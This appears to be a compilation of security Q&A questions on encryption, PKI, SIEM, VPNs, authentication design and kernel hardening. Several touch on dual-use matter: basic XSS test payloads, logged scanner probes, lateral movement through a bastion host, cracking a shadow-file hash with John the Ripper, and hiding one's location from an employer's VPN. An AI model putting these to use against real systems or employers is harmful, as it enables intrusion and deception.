So if we implement the Checkmarx suggested fix on a low severity issue (Potential Clickjacking on Legacy Browsers), we introduce a high severity issue (Client DOM XSS).
What's the proper course of action here?
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I'm trying to understand the different between disk encryption and volume encryption, more specifically as it relates to SAP HANA, link here.
From my understanding Disk Encryption prevents the threat where someone physically disks your server/disk. Once the VM is running it offers no additional protection as all data is in plaintext.
Volume encryption as per SAP's solution states that:
"If data volumes are encrypted, all pages that reside in the data area on disk are encrypted using the AES-256-CBC algorithm. Pages are transparently decrypted as part of the load process into memory. When pages reside in memory they are therefore not encrypted and there is no performance overhead for in-memory page accesses"
If I'm interpreting this correctly it would seem that the data that is written to disk is encrypted using AES256, so even if someone could get access to the running server they will be unable to view the files unless they had the keys, which is different to disk encryption.
Any thoughts?
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Based on this question.
Why are there more research papers on Android malware than iOS malware?
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I've noticed that torrent websites like the Pirate Bay are served over http.
This means that when using a network like the Tor onion network, where the first server in the response chain receives the website unencrypted, could they not change the links on the website? Let's say that a node is compromised, or run by a hostile owner.
http request -> onion network -> server
http response -> server 1 (s1) -> s2 -> s3 -> client
If server 1 is compromised, can it alter the data?
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I have a penetration testing scenario where I am on the network with two machines, Machine A and Machine B. I have complete control over Machine B and am trying to leverage that to get access to Machine A. Machine A appears to be some variant of Linux (I pinged it and the response had a TTL value of 64, but I know this could be spoofed which is why it is only my guess), and Machine B is Ubuntu Linux.
An nmap scan of Machine A found that port 443 was open and port 22 was filtered. I have drawn the conclusion that Machine A accepts SSH connections via port 22, but behind some rule or firewall.
Machine A acts as a bastion, so the web application on port 443 (which I have already tested for vulnerabilities and found none) lets authenticated users have an interactive RDP or SSH session with machines on the network, from the context of Machine A. So I can log into the web application that Machine A is hosting and connect via a browser over to Machine B via RDP or SSH.
Because I have full control over Machine B and can get Machine A to connect to it, what RDP or SSH attacks are there that I can leverage? I am thinking primarily of whether or not there's a way to have Machine B make Machine A redirect the session to localhost, which would mean Machine A would connect back to itself over SSH in a session I can interact with.
Note: I am aware of SSH reverse tunneling, but that requires special configuration on Machine A's side when the connection is established, and I don't have access to that.
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I know RSA has the concept of "public" and "private" key and one key is used for "encryption" and another for "decryption", but I am confused if both keys can be used for both purposes.. I mean, what you encrypt with any of them, you can decrypt of the other.
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I was wondering if it's reasonable and forensically correct to use Clonezilla for the image of an attacked machine.
Since some of the commercial products are very expensive I'm turning to open source solutions.
Provided that:
is an offline copy (the compromised disk is not live)
it's Linux based and uses partclone (or dd, but I'm not sure about that one)
with the help of the advanced options you can encrypt the copy, hash it and copy "empty" sector
In forensics, is the RAW filesystem of the image a requirement or is it not that important?
|
How can I check if a DNS Server (let's say a DNS Server inside a private network) is vulnerable to zone transfer attacks when I only have its IP?
I do not have any domain names. I see all these tools like dig, dnsenum, fierce and so on using a domain as a parameter and I do not know which domain I should use as a parameter when the only thing I have is the DNS server IP.
|
As people build more powerful computers in minecraft which can then run programs, is there a way to use those computers to run programs that hijack the host in some way?
Possible contest example would be to use a computer built in minecraft to create a network connection from that computer to a specified target.
There's a lot between inside the game and the target, but in principle is a computer inside a gameworld not much different than a virtual machine and its relationship to its host?
Will this become exploitable and worth considering?
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I'm using Azure to store customer data. In a specific country, there are multiple partners. Each partner has his clients. The issue is they don't want us to have access to this data. In other words, the only one who can access the data is the partner and the client. So I'm thinking of using a master key for each partner but I'm not if not the best approach.
My idea is to create 2 layers of encryption:
Client App
Azure storage
Partner
Client
encrypt data (only client and partner can opened)
encrypt data with Microsoft encyption
Get the data
Can get his data
At this step I'm blocked in the first step where how can I encrypt the data without storing the encryption key of partner(s).
Do you have any suggestions?
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I just printed function addresses and offset between two functions, but the offset is fixed whenever the program is executed (base address is only changed).
Code (test.c)
#include <stdio.h>
#include <stdint.h>
void func() {
printf("func!\n");
}
void func2() {
printf("func2!\n");
}
int main() {
uintptr_t main_addr = main;
uintptr_t func_addr = func;
uintptr_t func2_addr = func2;
printf("main_addr: %p\n", main_addr);
printf("func_addr: %p\n", func_addr);
printf("func2_addr: %p\n", func2_addr);
printf("offset (main - func): %ld\n", main_addr - func_addr);
printf("offset (main - func2): %ld\n", main_addr - func2_addr);
}
Compile
gcc test.c
Result
(1st execution)
main_addr: 0x5578d1296190
func_addr: 0x5578d129616a
func2_addr: 0x5578d129617d
offset (main - func): 38
offset (main - func2): 19
(2nd execution)
main_addr: 0x55bf299d9190
func_addr: 0x55bf299d916a
func2_addr: 0x55bf299d917d
offset (main - func): 38
offset (main - func2): 19
(3rd execution)
main_addr: 0x55ba4767d190
func_addr: 0x55ba4767d16a
func2_addr: 0x55ba4767d17d
offset (main - func): 38
offset (main - func2): 19
My kernel version is 5.4 (i.e., ubuntu 18.04)
So, my questions are:
Is this expected behavior(fixed offset) in ubuntu 18.04?
How can I make a situation that randomizes not only base address, but also offset.
Thank you
|
A friend of mine who is a night owl mentioned she frequently has to stop working because her company's VPN shuts down at a certain time every night and comes back on in the morning. She was told this is for "security reasons".
I have worked in many companies with VPN access and have never encountered this. It seems like a highly questionable practice since it is clearly having a negative business impact and I can't see how it would add any significant security value.
Is this practice respected in the industry?
|
We have dozens of internal management interfaces on our appliances that use self-signed certificates - ILO, DRAC, switch management, etc. These certificates display a warning in the browser, but their expiry or lack of trust does not break the service.
Our security manager wants to use valid internal certificates for these appliances and interfaces. Administrators only log on to these interfaces, not end-users. Most of the organisations I've worked with are fine with self-signed certificates for management interfaces.
What are the risks associated with using self-signed certificates on these management interfaces? Are there any NCSC, NIST or ISO best practices for this?
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I'm running a local web server on my Raspberry Pi and want to have a login screen. My plan is to hash the password and store the result in a text file ( This is where I'm storing settings for the result of the application ).
Is this the best way to go about it? I'm aware that if an attacker is able to find the hash then they can just make a request to the local server and get authorised that way so is there any point to the password at all?
The Pi will be turned into a Wireless Access Point for which a user would access the local server
|
Hello I was experimenting with XSS payloads and couldn't help wonder the syntax for
javascript:alert(0)
The most basic payload for XSS makes sense, since the tag is used for JavaScript in HTML.
<script>alert(0)</script>
But where does javascript:alert(0) come from? From my research colons are used for labeling anonymous functions and object literals but not sure if it's the same with this payload.
|
If a PC has rootkit, when it goes into sleep mode, can rootkit do anything to it while it’s in state of sleeping? Meaning steal data, open programs and basically do anything. Assuming it’s not BIOS rootkit.
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I understand that Root of Trust is necessary for implementing a secure boot on a device. Root of Trust is strong and trust worthy if this comes from hardware security elements like HSM/TPM/..
So for devices which are not having hardware security elements, is there is way to implement Root of Trust in software? what is the right/best practice of implementing RoT and hence secure boot on such devices?
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I am an intern with a Credit Union. I was surprised to find out that my Active Directory password length cannot be more than 8 characters. They use RACF for access to TSO or OMVS. I asked my mentor and he told me AD passwords are used to access the mainframe so this limitation of not more than 8 characters for password length.
Is there any way to address this with the current version of RACF?
Is that unavoidable if you need direct access to TSO or OMVS?
Is there any workaround for this? I know RACF has passphrases which was advised by their IT team but heard the credit union staff was not interested in it.
Mainframes are common at large banks. How do large banks have a password longer than 8 characters?
This is my second week as an intern but it sounds like the AD password is used to authenticate to lot of back-end systems which apparently are mainframe.
Saw this Why do some bank websites use passwords that are not case sensitive? and it sounds like my credit union.
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From what I can gather, as long as a client trusts a particular CA root, and a server produces a valid chain that leads up to it, the client will trust the server's cert. This only makes sense if the root is saying not only "this intermediate cert is who they claim to be," but "this intermediate cert is allowed to issue new certs on my behalf." Otherwise anyone (with a cert signed by a widely-trusted root) could act as a widely-trusted CA themselves.
As best I can tell, any cert can be used to issue further certs. So the intermediate CA is special not in that it's able to issue further certs, but in that it's explicitly trusted by the root CA to do so.
I guess my question is: what is it about the intermediate (CA) cert that indicates this? Is there a field that says "I am a valid CA" (that of course the root has to sign)? Are there other differences between CA certs and server certs?
|
I forgot my linux password. I have access to the shadow file (Fedora 33), and I believe it should be possible to retrieve it with John the Ripper as I remember the first 4 characters, I remember the last 5 characters, I just can't connect them anymore (must be 3 or 4 char in the middle).
Can I use John for that? What would be the command? Thanks!
|
Suppose I have an application, which when opened asks you to open a file and then "unlock" that file using a password that's configurable by the user.
The file should be encrypted with something like AES-256, right? The key would be the password, but should the users password be hashed using something like SHA-256? Should I salt the hash as well? If I do salt the hash, do I just store the salt at the start of the file?
Is this the correct way to go about things?
|
If the hacker decides to attack the system, the first step is reconnaissance.
But if the system the hacker attacks is exotic, sometimes they'd need to develop the tools or "drivers", or modify the existing software/tools for them to be "tap-able".
For example, suppose the hacker tries to attack the telephone network, and for some reason the dial-up modems are not available, the hacker may need to reverse engineer the telephone cable I/O, figure out a way to connect to the telephone network using the makeshift hardware and software (maybe connect to the sound card, and make use of the Fourier transform algorithms; and then figure out the commands sent across the telephone network) -- all to just be able to perform reconnaissance.
Is there a specific term for this step?
|
What are good mitigation techniques to allow corp users to share files externally with anyone, yet maintain some kind of control?
Ie. OneDrive and SharePoint can allow users to share a file with “anyone” indefinitely.
This is risky as that link can be forwarded/posted anywhere and for anyone.
On the other hand, if don’t give users that option, they’ll share it anyway using any one of a number of 3rd party services. Once do that, lose control.
Is the mitigation to have DLP policies in place, and allow for content that considered safe to be shared?
Or use a 3rd-party solution that doesn't share from native Sharepoint sites?
|
Currently, there are too few ways to monitor security issues in the current company. Security solutions such as NDR, IPS, and WAF exist, but since there is no SIEM, the log must be checked on the equipment one by one. Therefore, if an incident occurs, the infrastructure engineer has to be lucky enough to check the equipment's log.
I have a plan to build SIEM, write correlation rules, and link important events to opsgenie, slack, jira, etc. I have only used arcsight, but it is difficult to purchase arcsight due to current budget issues.
In addition to NDR, IPS, WAF, and other cloud logs such as AWS and GCP are also planned to be integrated to monitor, confirming that there are SIEMs such as sumologic, datadog, Splunk, and Log Rhythm.
The main targets to be monitored are IPS and IDS, and the correlation will be mainly Event Name and IP to create rules.
arcsight was very easy to create these rules, but do other logarithmic solutions provide this as well?
Elasticsearch was also used internally, so Elasticsearch first attempted to use it, but Elasticsearch was quick and useful in retrieving certain events, but it was impossible to trigger correlated rules.
Recently, x-pack has siem function, but I couldn't make the rules I wanted.
I want to trigger an alert when 2 events (B -> C) occur after 1 event (A -> B). Do most SIEMs basically provide this?
|
OWASP states:
Non-public REST services must perform access control at each API
endpoint. Web services in monolithic applications implement this by
means of user authentication, authorisation logic and session
management. This has several drawbacks for modern architectures which
compose multiple microservices following the RESTful style.
in order to minimize latency and reduce coupling between services, the access control decision should be taken locally by REST endpoints
user authentication should be centralised in a Identity Provider (IdP), which issues access tokens
Does this mean that we should have an IdP integration in every microservice we build?
It seems really confusing and not feasible at all in a microservice architecture. I imagine things get easier with something like a service mesh, but we're still not at that level of maturity.
|
I recently had a fraudulent transaction on my debit card (in the UK, where I am based). Having blocked the card, my main concern is to determine how much information has been stolen and how?
As this was an online transaction, the fraudster may have needed only superficial information regarding my card to complete the transaction e.g., expiry date, long card number and security code. These details could, theoretically, have been stolen while I used my card in person (at an ATM or while paying for goods) or they could have been stolen via hacking or phishing of myself or someone who has my details, which I would view as a lot more nefarious.
When I reported the transaction to my bank, I didn’t ask whether other auxiliary details were used in the transaction e.g. my DoB, telephone number, security questions which may have been indicative of a wider problem.
I have no reason to believe that I am personally the victim of a hack or phishing. I use anti-virus and am careful with online transactions.
My questions are:
(1) Is it normal for banks to be able to give more information about a specific fraudulent transaction to their customers to help them understand how much information has been compromised?
(2) What is the best way to approach finding how much information may have been stolen and how?
|
I have a webapp that sends payloads to clients. I want to sign these payloads so the clients can verify they are from my application. I created a public/private key pair and now need to somehow distribute the public key in a way that the clients are sure it's mine.
From what I read there are two main ways to guarantee the authencity of the the public key - use a public certificate signed by CA or implement web of trust.
I am wondering if there is a problem with the following approach. The webapp has a domain name and website served under SSL/TLS with a certificate issued by a CA. Does it provide the same/similar level of authenicty guarantee as the PKI/WOT approaches if I publish the public key under a well-known url on this website?
I've seen something similar in the context of jwt/oauth used by the cloud providers (for example https://www.googleapis.com/oauth2/v1/certs) but not sure if it's a viable approach for public keys used for digital signatures.
|
I run a full (not quick) scan of Windows Defender every night. Somehow, between two nights ago and last night an instance of PUA:Win32/InstallCore got placed on my PC. Windows Defender removed it, but how does anything get put on my PC without my asking/telling it to do so? I didn't update anything in the previous 24 hours.
I try to practice safe-computing. I never click on email links or open email from unknown people. I only open attachments that I'm expecting from known sources. I have no automatic updates allowed - I only run Windows Update manually; I only update browsers manually, I only update programs I have subscriptions to - e.g., Adobe Creative Cloud, etc, manually. On the rare occasions where I install 3rd-party utilities, e.g., VLC Media Player or Libre Office I download them from their developer website or Microsoft store, never from any third-party distributor; I scan the heck out of them with Defender and MalwareBytes before opening and running them; I never accept any free accessories or bundles.
If a file can be written to my PC without my knowing it until a subsequent malware scan, then there must be a defect in my defenses or protocol. How do I find it?
|
When reading many sources on performing authenticated vulnerability scans, it has been mentioned that creating and using a separate admin (privileged) user account for scans is recommended rather than using an existing privileged user account.
May I know the risks involved in performing the scans using an original admin user account?
|
A little bit of background: I want to sign my emails for my own safety. None of my intended recipients are users of digital signatures. If one day someone were to impersonate me, I can prove my own identity, and disprove the identity of my impersonator.
I intend to use GPG to produce signatures for my emails. Right now, I am facing a dilemma on how to attach these signatures. Whether to use 'clearsign', 'detached signature', or just plain old 'sign'.
I will elaborate on my thought process, and the pros and cons I came up with, of each form of signatures.
Clear Signature
Pros:
No external program required to read messages
Verification can be done easily
Cons:
Intrusive and ugly headers
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
some message
-----BEGIN PGP SIGNATURE-----
some signature
-----END PGP SIGNATURE-----
Detached Signature
Pros:
No external program required to read messages
No intrusive and ugly headers
Cons:
To verify messages, the content must be copied and formatted exactly like how it was when used to produce the signature. Reference here.
Normal Sign
Pros:
No intrusive and ugly headers
Cons:
Require an external program to read messages
Or the alternative is, to duplicate the content of the message. One for readability, and another that was baked in the signature, as produced by GPG.
When using the alternative, produces longer emails.
When using the alternative, to verify a message, one will need to compare the produced output from the baked content in the signature, and the duplicated plain content in the email.
If I were to resort to use 'clearsign', when my recipient don't have a clue in the purpose of digital signatures, the ugly headers will make my emails look unprofessional. I want to ensure any digital signature I attach to be as least intrusive as possible.
I could simply remove the headers. However, the process of verifying signatures becomes no less different than 'detached signature', although less error prone.
If I were to use just the normal 'sign' and duplicate the content for plain reading, in some cases, this procedure defeats the whole point of digital signatures through hashing and getting the fingerprint of the message.
What should I do? What's the norm of attaching signatures to emails? Are there other alternatives that I have yet to consider?
|
So, the other day I was charging my prepaid VoIP account from sipgate.de via credit card payment. I chose 10 Eur which is the default and entered my card details.
As usual, I was redirected to a different payment processor which itself redirects me to a page hosted by my bank asking me to confirm the payment (Visa Secure). The confirmation dialog showed an amount of 1 Eur instead of 10 Eur. To confirm the payment, my banking app on my mobile got notified. The app also showed 1 Eur.
I confirmed, because I thought the worst that could happen is the payment failing or me getting 10 Eur balance for 1 Eur. It succeeded and I got 10 Eur added to my VoIP balance.
But when I looked at my banking account later, it showed that indeed I was charged 10 Eur, not 1 Eur.
Somehow the Website of my Bank and the App (different devices) were showing the wrong amount charged.
I contacted my bank, but I haven't heard back so far.
So... Are there any legit (but obviously not obvious) explanations for that? Or is the payment system of my Bank broken?
Disclaimer: This MAY be specific to payment used in Germany... Not Sure how this is handled in other countries.
|
My laptop must be connected to my company's VPN (Global Protect) before I can be able to work at home. I try to connect my Express VPN at the same time to stop my company's VPN from "seeing" my physical location when I'm in another country. Please how do I do this?
I try to connect my Express VPN same time when the Global Protect is ON, but it won't let me. The company's VPN won't connect except I disconnect from my Express VPN.
Please assist me here as I don't mean any harm but just want to be with my family abroad at the same time. And I don't want to lose my job. But I am willing to do my work well but still be with my family.
What do I do to stop my employer from seeing my location when i am abroad?
|
I’m currently in need of some clarification for an authentication/overall strategy. First I will describe the use case and then the questions that arise for me.
Use Case
I want to have a single docker container consisting of an API and a database for each group of users. So for the sake of this example let’s say we have three docker containers A, B and C and three users for every container (A1, A2, A3, B1, B2, ...). Each of these users should only have access to their corresponding API. So e.g. user B1 can only read/write with API B.
The APIs should be consumed with multiple SPA FrontEnd Apps. To not have to log in on each app I want to implement a SSO flow with a single authentication Server. My thought was to let the user log in with the authentication server that responds with a jwt token (access and refresh) with the unique username in the payload. So on every request to an API Gateway that routes the user to the correct API (e.g. A1 -> A), the user sends the access token. The API then makes a request to the Authentication Server to verify the correctness of the jwt. If that‘s successful the API can log in the user with the specified username (because it also has a database entry of this unique user) over a remote user backend for example. This way if the routing or anything would go wrong the access token would be verified by the Authentication Server but the user A could not be logged into API B because there‘s no user with that name in the database of API B. The remote user header could also not be tempered with because every malicious request that sets this header would be prefixed with HTTP_.
Questions
Is this even a secure/feasible authentication/authorization flow?
Is there any default strategy for a use case like this (oidc?)?
How do I safely store access/refresh tokens? Refresh token in a httpOnly cookie and the Short lived Access Token in-Memory of the Browser with a WebWorker or with Private static fields?
Any possible obvious attack vectors?
|
Say I have a file encrypted with GnuPG, in isolation (i.e., I don’t have the relevant keys). Can one then establish the recipients of the encryption? That is:
Name/E-Mail/Comment
Key ID
Or is this information only discernible if you have the appropriate keys?
Likewise, same question for a GnuPG signed file? (i.e., Can you at least establish the signer, without authenticating their signature, without having the key in your keyring?)
|
Does it make any sense that a VPN provider (in this case VyprVPN, but this does not matter I am asking how to understand privacy claims in general, and what is considered as "log" data) claims (accessed here 2021-05-16)
Exceptional Privacy ... our no-log policy independently audited.
and then (at least honestly) admit (accessed here 2021-05-16)
...only collects a minimal amount of information when you
connect over our VPN product (VyprVPN), and only retains it for a
period of 30 days. We retain:
Customer’s source IP address (generally the IP address assigned by the customer’s ISP)
VyprVPN IP address used by the user
Connection start and stop time
Total number of bytes used
Wouldn't keeping time, source and target IP address make the user's online activity quite transparent (aka "log files" in their genuine meaning), and in clear contradiction (at least for 30 days) to a "no log" policy?
|
It's been working fine for years, but now suddenly I'm getting a strange error. Does anyone know what problem this points to?
OpenVPN Connect Version 3.0.2 (598), error logs:
[REDACTED IPs]
5/16/2021, 2:54:17 AM OpenVPN core 3.git::d8d14e19 mac x86_64 64-bit PT_PROXY built on Apr 5 2019 07:54:59
5/16/2021, 2:54:17 AM Frame=512/2048/512 mssfix-ctrl=1250
5/16/2021, 2:54:17 AM EVENT: RESOLVE ⏎5/16/2021, 2:54:17 AM UNUSED OPTIONS
4 [nobind]
18 [sndbuf] [0]
19 [rcvbuf] [0]
22 [verb] [3]
31 [CLI_PREF_ALLOW_WEB_IMPORT] [True]
32 [CLI_PREF_BASIC_CLIENT] [False]
33 [CLI_PREF_ENABLE_CONNECT] [True]
34 [CLI_PREF_ENABLE_XD_PROXY] [True]
35 [WSHOST] [35.158.212.188:443]
36 [WEB_CA_BUNDLE] [-----BEGIN CERTIFICATE----- MIIDBj[REDACTED]BgkqhkiG...]
37 [IS_OPENVPN_WEB_CA] [1]
38 [ORGANIZATION] [OpenVPN Inc]
⏎5/16/2021, 2:54:17 AM Contacting [REDACTED]:1194 via UDP
⏎5/16/2021, 2:54:17 AM EVENT: WAIT ⏎5/16/2021, 2:54:17 AM Connecting to [REDACTED]:1194 ([REDACTED]) via UDPv4
⏎5/16/2021, 2:54:17 AM Tunnel Options:V4,dev-type tun,link-mtu 1558,tun-mtu 1500,proto UDPv4,comp-lzo,keydir 1,cipher AES-256-CBC,auth SHA1,keysize 256,tls-auth,key-method 2,tls-client
⏎5/16/2021, 2:54:17 AM Creds: Username/Password
⏎5/16/2021, 2:54:17 AM Peer Info:
IV_VER=3.git::d8d14e19
IV_PLAT=mac
IV_NCP=2
IV_TCPNL=1
IV_PROTO=2
IV_LZO_STUB=1
IV_COMP_STUB=1
IV_COMP_STUBv2=1
IV_HWADDR=f4:5c:89:cd:69:cd
⏎5/16/2021, 2:54:17 AM EVENT: CONNECTING ⏎5/16/2021, 2:54:17 AM SSL Handshake: TLSv1.2/TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384
⏎5/16/2021, 2:54:17 AM EVENT: GET_CONFIG ⏎5/16/2021, 2:54:17 AM Session is ACTIVE
⏎5/16/2021, 2:54:17 AM Sending PUSH_REQUEST to server...
⏎5/16/2021, 2:54:17 AM OPTIONS:
0 [explicit-exit-notify]
1 [topology] [subnet]
2 [route-delay] [5] [30]
3 [dhcp-pre-release]
4 [dhcp-renew]
5 [dhcp-release]
6 [route-metric] [101]
7 [ping] [12]
8 [ping-restart] [50]
9 [compress] [stub-v2]
10 [redirect-gateway] [def1]
11 [redirect-gateway] [bypass-dhcp]
12 [redirect-gateway] [autolocal]
13 [route-gateway] [172.27.232.1]
14 [dhcp-option] [DNS] [172.31.0.2]
15 [register-dns]
16 [block-ipv6]
17 [ifconfig] [172.27.232.5] [255.255.248.0]
18 [peer-id] [1]
19 [auth-token] ...
20 [cipher] [AES-256-GCM]
⏎5/16/2021, 2:54:17 AM Session token: [redacted]
⏎5/16/2021, 2:54:17 AM Server has pushed compressor COMP_STUBv2, but client has disabled compression, switching to asymmetric
⏎5/16/2021, 2:54:17 AM PROTOCOL OPTIONS:
cipher: AES-256-GCM
digest: SHA1
compress: COMP_STUBv2
peer ID: 1
⏎5/16/2021, 2:54:17 AM TunPersist: long-term session scope
⏎5/16/2021, 2:54:17 AM TunPersist: new tun context
⏎5/16/2021, 2:54:17 AM CAPTURED OPTIONS:
Session Name: 35.158.212.188
Layer: OSI_LAYER_3
MTU: 1500
Remote Address: [REDACTED]
Tunnel Addresses:
172.27.232.5/21 -> 172.27.232.1
Reroute Gateway: IPv4=1 IPv6=0 flags=[ ENABLE REROUTE_GW AUTO_LOCAL DEF1 BYPASS_DHCP IPv4 ]
Block IPv6: yes
Route Metric Default: 101
Add Routes:
Exclude Routes:
DNS Servers:
172.31.0.2
Search Domains:
⏎5/16/2021, 2:54:17 AM SetupClient: transmitting tun setup list to /var/run/ovpnagent.sock
{
"config" :
{
"iface_name" : "",
"layer" : "OSI_LAYER_3",
"tun_prefix" : false
},
"tun" :
{
"adapter_domain_suffix" : "",
"block_ipv6" : true,
"dns_servers" :
[
{
"address" : "172.31.0.2",
"ipv6" : false
}
],
"layer" : 3,
"mtu" : 1500,
"remote_address" :
{
"address" : "[REDACTED]",
"ipv6" : false
},
"reroute_gw" :
{
"flags" : 315,
"ipv4" : true,
"ipv6" : false
},
"route_metric_default" : 101,
"session_name" : "[REDACTED]",
"tunnel_address_index_ipv4" : 0,
"tunnel_address_index_ipv6" : -1,
"tunnel_addresses" :
[
{
"address" : "172.27.232.5",
"gateway" : "172.27.232.1",
"ipv6" : false,
"metric" : -1,
"net30" : false,
"prefix_length" : 21
}
]
}
}
POST unix://[/var/run/ovpnagent.sock]/tun-setup : E_CONNECT HTTPCore Asio handle_unix_connect: No such file or directory
⏎5/16/2021, 2:54:17 AM TUN Error: ovpnagent: communication error
⏎5/16/2021, 2:54:17 AM Client exception in transport_recv: tun_exception: not connected
⏎5/16/2021, 2:54:17 AM EVENT: ASSIGN_IP ⏎5/16/2021, 2:54:17 AM EVENT: TUN_SETUP_FAILED ovpnagent: communication error⏎5/16/2021, 2:54:17 AM EVENT: DISCONNECTED ⏎5/16/2021, 2:54:19 AM Raw stats on disconnect:
BYTES_IN : 3120
BYTES_OUT : 2182
PACKETS_IN : 8
PACKETS_OUT : 7
TUN_SETUP_FAILED : 1
⏎5/16/2021, 2:54:19 AM Performance stats on disconnect:
CPU usage (microseconds): 10806780
Network bytes per CPU second: 490
Tunnel bytes per CPU second: 0
⏎
|
I am using a telegram api based app named "TurboTel Pro". I am happy with its different look and settings but I am concerned about the data it would take of me.
Can someone tell me what data does these api based apps take? I read in FAQ of "iMe" (a telegram api based app) that they don't collect or they are not able to collect or see data from telegram servers but they also connect to third party servers to run some of their services.
Are they saying right? How much can I believe in them? What about third party service providers used in app? Is my data safe from third parties?
I also read that after verson 5.0 of telegram bots, api based app developers can connect their app to other servers also. Am I gonna loose some of my data in hands of other new-non-trusted companies?
So I wanted to ask if there is any statement from telegram about using their api and security attached with their source code by default.
|
I am trying to figure out how to build a secure, playback-proof, web authentication scheme and at the same time be able to use a KEK at the server.
After a lot of reading it seems that a reasonable way to validate the password between the server and client is as follows:
Server:
I have stored db-hash = hash(password, server-user-salt).
Client:
Obtain a copy of the server-user-salt
User enters user-name, password.
[Edit: Get the nonce from the server] Generate a client-nonce
Send the server Hash(Hash(password, server-user-salt), client-nonce), client-nonce
The server can then compare the received doubly hased value with Hash(db-hash, client-nonce).
So far so good - hope I didn't misunderstand that part, I'm not a security expert :-D
Now on the server I also need to be able to decrypt another secret key - using a KEK. My initial thought was simply that if I sent the password to the server, I could run it through PBKDF2() and use that as my KEK.
But given the authentication algorithm above, I shouldn't send the password to the server. I probably can't use a hash() function since what the server needs is a secret (e.g. the password) so that it can generate the KEK. I could generate the KEK on the client, but then I'd send the KEK over the wire which is almost as bad as sending the password.
So to combine the authentication scheme above with a KEK would I need to throw myself into a public/private key exchange to send over the secret / password to the server?
|
I'm currently working on an existing PWA (Progressive web app) build in VUEJS. Currently i'm using Auth0 for user authentication and it works fine. But it seems a bit overkill and client finds it very hard to manage his users in Auth0 (multiple apps, users and so on...)
So i'm rebuilding the backend with Laravel together with Laravel Fortify and Laravel Sanctum.
Laravel sanctum provides a few solution for authentication and one of them is setting an accesstoken after logging in. (Token is not a JWT, just a random string without user details exposed) I can't use secure httponly cookies since front-end / back-end are on different top domains.
Here is where my Paranoia kinda kicks in, most say just store the token in localStorage it's easy and saves time. We all know that localStorage is not an advised way to store tokens. Simple XSS can expose the localstorage and well goodbye token ...
Having XSS happen will cause a bigger headache than the token i guess but i was wondering if storing the Token in my Service-worker (in memory) will be a bit more secure than localStorage?
I've stumbled upon an article by a user called Ropnop and he provided a service worker template for storing the token in memory.
// These listeners will make the service worker immediately available for the page
self.addEventListener('install', function(event) {
event.waitUntil(self.skipWaiting());
console.log('[SW] serviceworker installed!');
});
self.addEventListener('activate', function(event) {
event.waitUntil(self.clients.claim());
console.log('[SW] serviceworker ready!');
});
// Hardocded checks for origins/paths to send credentials to
const whitelistedOrigins = [
"http://localhost", // dev
"http://localhost:3000", // dev
"https://tokenstorage.ropnop.dev", // prod
]
const whitelistedPathRegex = /\/api\/[^.]*$/ // anything under /api
// Global token variable in the service worker
let token = '';
// Exposed "method" for saving the token
self.addEventListener('message', function(event) {
if (event.data && event.data.type === 'SET_TOKEN') {
token = event.data.token;
console.log("[SW] token set!");
}
if (event.data && event.data.type == 'CLEAR_TOKEN') {
token = '';
console.log('[SW] token cleared!');
}
})
// Helper function to add the auth header if the oubound request matches the whitelists
const addAuthHeader = function (event) {
destURL = new URL(event.request.url);
if (whitelistedOrigins.includes(destURL.origin) && whitelistedPathRegex.test(destURL.pathname)) {
const modifiedHeaders = new Headers(event.request.headers);
if (token) {
modifiedHeaders.append('Authorization', token)
}
const authReq = new Request(event.request, {headers: modifiedHeaders, mode: 'cors' });
event.respondWith((async () => fetch(authReq))());
}
}
// Intercept all fetch requests and add the auth header
self.addEventListener('fetch', addAuthHeader);
Basically you login and my app uses postMessage() to set the token in the service worker and it sets it in the request header before sending any request being made. A severe XSS attack would probably place a keylogger to steal usernames and passwords directly for user input. But some basic xss tricks should be stopped this way? for example just sending the localStorage as a string to a remote server that logs the string or something.
What do you advice? Is the service-worker approach safer or does it just looks safer?
And what should i do? (Secure cookie is not an option since both apps sit on different top domains)
Option A: service-worker approach.
Option B: Stop being a paranoid goose and use localStorage
I've been doing research for over 3days now but you never find a clear solution for this problem.
Looking forward to your responses!
Best Regards,
Bart
|
To says things simple ; when someone wants to learn offensive web application (or system) hacking, one could just download OWASP DVWA or register to Hackthebox and watch Ippsec videos to see "how to walk the walk". This is very tangible and practical (no theory circle)
But what about risk analysis (ex : ISO 27005, NIST SP 800-30, EBIOS, etc...) ?
The only thing I see on the internet is tons of theoretical paper about why those methods are so great etc... There is no practical use case showing how it was applied in more specific situations.
I understand it may be not a good idea to publish your organization risk analysis results on internet but how are we (beginners) suppose to do it ?
Any idea where I should start or look into to get a more realistic practical overview of IT security risk analysis ?
|
I am using client-side certificate authentication (mutual authentication) in my IoT prototype. we acquire client side certificates using embedded PKI through a CA.
There are the provisions of acquiring ECC or RSA certificates. I was wondering which one is more apt to use to ensure stronger security!
while I understand that RSA is a widely used algorithm, ECC claims to provide higher level of security and also faster also probably due to its shorter key length size. but ECC is a newer algorithm and likely to have undiscovered vulnerabilities.
Could you guide how do I make a right decision here, if ensuring security is prominant criteria. IoT device that is being used is MCU based and is not a low footprint device. (consider its a telematics gateway unit in an connected vehicle).
|
There are a few questions on this site asking about reusing the same initialization vector for example for AES encryption under the same key, see for example this question.
Now, let's not respect that advice and reuse an IV. However, to make it a bit more complicated, let's use a different key. For example both of these keys could be derived from a password using different salts or similar methods.
Is it safe to reuse an IV for different keys? For example, does that compromise the plaintext message or the keys?
|
I am getting a lot of spam GET and POST requests lately which some of them look like this:
"GET /config/getuser?index=0 HTTP/1.1" 404 143 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0"
and:
"\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 173 "-" "-"
As far as I know these are trying known vulnerabilities in bulk but I am unsure.
So in my case where I only have a single html file with nothing but text and a link in an up-to-date Debian server with NGINX, are they still pose a security threat? if yes how?
Thanks!
|
Windows Kernel Data Protection is a kernel security feature which appears to use Extended Page Tables (EPT, a hardware virtualization feature) to enforce read-only pages. How effective is this at protecting from kernel exploits in the real world? Is this an effective mitigation, or security theater that only causes attackers to think a little more about which data structure they want to overwrite?
Would it be correct to say that it is similar to the controversial LKRG for Linux (a stupid kernel module that scans sensitive kernel data structures for changes), except that rather than attempting to detect compromised kernel data structures post-exploitation, KDP enforces write-protection using EPTs?
According to Microsoft's Base Kernel Team:
